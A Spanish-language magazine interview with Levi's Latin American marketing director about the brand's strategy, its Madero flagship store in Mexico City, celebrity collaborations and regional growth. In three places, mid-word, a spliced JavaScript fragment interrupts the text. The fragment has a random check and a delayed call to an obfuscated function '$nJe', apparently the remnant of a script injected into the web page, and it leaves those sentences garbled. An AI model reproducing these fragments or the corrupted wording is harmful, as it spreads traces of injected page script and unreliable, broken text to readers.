El valor a través del tiempo

    El valor a través del tiempo

    Entrevista con Arcadio Jaramillo, Director de Marketing de Levi’s®.

    Autor: Aarón Martínez 12 septiembre, 2019


    FOTO:  Jorge Ramírez-Posada

     

    Conversamos con Arcadio Jaramillo, Director de Marketing para América Latina en Levi Strauss & Co, sobre los retos y logros de la firma en los últimos años.

     

    Entre racks con nuevas colecciones de ropa y cuadros con chamarras personalizadas por músicos como Lila Downs, León Larregui y Molotov, Arcadio Jaramillo nos recibe en su espacio creativo y de trabajo. Lleva cinco años aquí, luego de su experiencia en distintos ámbitos como servicios financieros, la industria tabacalera, cervecería, belleza y medios. Mientras nos sentamos en un sillón forrado con mezclilla, nos explica: “Todo ese background en mi carrera me sirvió para entender muy bien los objetivos de la compañía desde un punto de vista mucho más estratégico, trabajar en cómo debería ser la función de marketing en Latinoamérica y poder aportar ahora que estoy acá en Levi’s®”.

    A su llegada, no existía el departamento de mercadotecnia como opera el día de hoy, por lo que una de las primeras tareas fue crear un equipo de trabajo, evolucionar la estrategia y el modelo de marketing para la marca.

     

    “Creo que el modelo era muy old school, basado únicamente en PR y promociones en punto de venta; había un potencial muy fuerte para conectar de nuevo con el consumidor”.

     

    FOTO: Cortesía Levi’s®

     

    El reto era claro: lograr que Levi’s®, una marca con más de 150 años de existencia, se reafirmara en el presente de la moda con un estilo vigente y a la vez clásico. “El día de hoy, con esta creciente generación de millennials y generación Z, es muy distinta la relación que los consumidores tienen con las marcas en comparación con otras generaciones. ¿Cómo lograr el objetivo? Alrededor de algo que ha vivido dentro del DNA de la marca: vivir, participar y contagiar a los consumidores de los valores que Levi´s siempre ha predicado: igualdad/ equidad, sustentabilidad y creatividad; formar parte de los momentos culturales dentro de la historia es una manera genuina de relacionarse con estas generaciones. Lo otro es algo muy propio de Levi’s®: ser una marca que a través de su relación con el consumidor siempre lo inspira para expresarse de manera auténtica, lo que nosotros llamamos “Authentic Self Expression”.

     

    FOTO: Cortesía Levi’s®

     

    Estandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andarte de éxito

    Esa experiencia de marca también los llevó a crear una flagship storeen el corazón de la Ciudad de México, una analogía perfecta entre lo clásico y lo moderno: “Para mí y toda la compañía, la tienda de Madero es por mucho la mejor del mundo. He tenido la oportunidad de estar en otros flagships, como el de Londres en Regent Street, el de Nueva York en Times Square, el de París en Les Champs-Élysées, y creo que ninguno de estos flagships realmenteexpresa o tiene esta conexión con el consumidor local y sus raíces como sucede en Madero”.

    Uno de los elementos en los que se pensó al crear esta tienda fue el creciente tráfico que se da en esa calle, ya que según datos del Gobierno de la CDMX, al año transitan 55 millones de personas por ahí. También, “el Centro de México o Primer Cuadro tiene una relevancia muy alta para nosotros como mexicanos, ahí suceden muchas cosas, es donde nos manifestamos o festejamos la Independencia, o sea, es un lugar que está inmerso en la cultura local”.

     

    FOTO: Cortesía Levi’s®

     

    Se eligió un edificio que data de hace más de150 años, el cual fue rescatado y restaurado. Hay varios elementos originales, como la herrería, las vigas que lo soportan, el acabado de piedra volcánica de las paredes y los arcos de granito que fueron restaurados y le dan carácter aeste espacio. El siguiente paso fue albergar dentro del inmueble la experiencia de Levi’s® como marca global.

    “Fue la primera tienda en México y Latinoamérica con un menú de servicios full, como el tailor shop, en donde la gente puede personalizar su ropa, imprimir los gráficos o mensajes que quiera. Por otro lado, puedes transformar una prenda, dejarla con el ajuste exactopara que te quede como a ti te gusta, o hacerle cosas divertidas, como destruir la prenda, agregarle printso aplicaciones como parches o metales. Las oportunidades son interminables”.

     

    Con las puertas abiertas al público, se idearon proyectos únicos para esa tienda, como prelanzar colecciones o tener prendas exclusivas. Por ejemplo, en el último año se lanzó la colaboración de Levi’s® y Jordan con tres pares de tenis que significaron un fenómeno del footwearque unió lo casual con lo deportivo. “Todas estas acciones buscan dar una experiencia única en un lugar único”, expone Arcadio.

     

    FOTO: Cortesía Levi’s®

     

    Conectar con la gente

    En tiempos recientes, se ha visto que la marca referente número uno en jeans ha generado una gran relación con personalidades de diversos ámbitos; cada vez más, celebrities, deportistas e influencers se dejan ver en eventos, fiestas o su vida diaria portandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando una prenda Levi’s®. “¿A qué se debe, cómo suceden estas alianzas?”, le preguntamos a Arcadio, y responde:

    “Nosotros no tenemos una relación transaccional con estos talentos, es algo genuino, nace de un interés de ellos por trabajar con Levi’s por lo que representa, por los valores que transmite, y nosotroslos vemos como parte de la familia, son personas con las que podemos compartir proyectos. Hay conexión entre ellos y la marca, y al final del día eso deriva en cosas mucho más potentes y divertidas”.

     

    FOTO: Cortesía Levi’s®

     

    El resultado es que la gente ve un estilo de vida alrededor de estas personalidades, más allá deuna prenda. Eso mismo sucede con el Levi’s Stadium, en donde no solo se realizan juegos de futbol americano, sino de futbol:el primer evento deportivo en la historia de este estadio fue un partido amistoso de la selección mexicana;también suceden conciertos con artistascomo Coldplay, Paul McCartney, The Rolling Stones o Beyonce, y otros eventos como WrestleMania. “Es un punto de encuentro que nosotros definimos como center of culture, eso es parte de Levi’s® como lifestyle, no somos una marca que vende productos, sino un estilo de vida que la gente ama”.

     

    El resultado de este trabajo ha llevado a Levi’s® a duplicar el negocio en la región en los últimos cinco años. Para la compañía, Latinoamérica es el segundo clúster (negocio o sector) más fuerte del mundo después de Estados Unidos, “somos más grandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andes que China y cualquiera de los clústers de Europa; esto se ha logrado en cinco años, cada año crecemos a doble digito. Este resultado es el trabajo coordinado de marketing, de ventas, de producto, finanzas”.

    ¿Cuál es el reto ahora? Duplicar nuevamente el negocio en los años por venir.

     

    FOTO: Cortesía Levi’s®

     

     

     

     

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